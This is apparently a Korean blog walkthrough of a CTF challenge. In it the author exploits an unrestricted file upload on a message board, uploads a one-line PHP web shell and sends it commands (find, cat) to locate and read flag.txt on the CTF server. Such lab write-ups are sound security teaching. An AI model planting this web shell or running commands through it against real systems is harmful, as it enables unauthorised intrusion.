SegFault CTF Web Shell 1

 

 

 

php 웹 쉘을 올려서, flag.txt 파일을 찾아내라!

 

 

문제를 풀기 위해 링크로 들어와 보았습니다.

 

 

회원가입을 하고 로그인을 했습니다.

 

 

웹쉘을 올리기 위해 게시판에 들어왔습니다.

 

 

이렇게 내용과 파일 업로드했고 Create 눌러보겠습니다.

 

 

php 파일을 업로드했는데 성공적으로 글이 작성된 거 같습니다.

 

 

우선 다운로드 버튼이 생겼고 포스팅은 제대로 생성됐습니다.

 

 

다운로드 링크 주소 복사해서 들어왔습니다. php가 제대로 실행되는 거 같습니다.

 

 

글을 삭제 후 이제 웹쉘을 올려보겠습니다.

 

 

Create!

 

 

이번에도 성공했습니다.

 

 

<?php echo system($_GET[‘cmd’]); ?> 이번에는 이런 코드를 업로드했고 링크 주소로 봐도 빈 화면이기 때문에 Burp Suite로 확인했습니다.

 

 

웹쉘에 파일 검색 명령어를 넣어 요청을 해보면 여러 파일이 응답으로 오는 것을 확인할 수 있었습니다.

 

 

이번에는 cmd=find / -name “flag.txt”이것을 넣고 검색했습니다. 브라우저에서 검색하면 자동으로 인코딩을 해주기 때문에 브라우저에서 검색했습니다. 플래그 파일을 찾은 거 같습니다.

 

 

http://ctf.segfaulthub.com:8989/webshell_1/files/bnm/web_shell.php? cmd=cat /app/webshell_1/important_data/flag.txt 이렇게 플래그 파일을 찾았습니다.

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다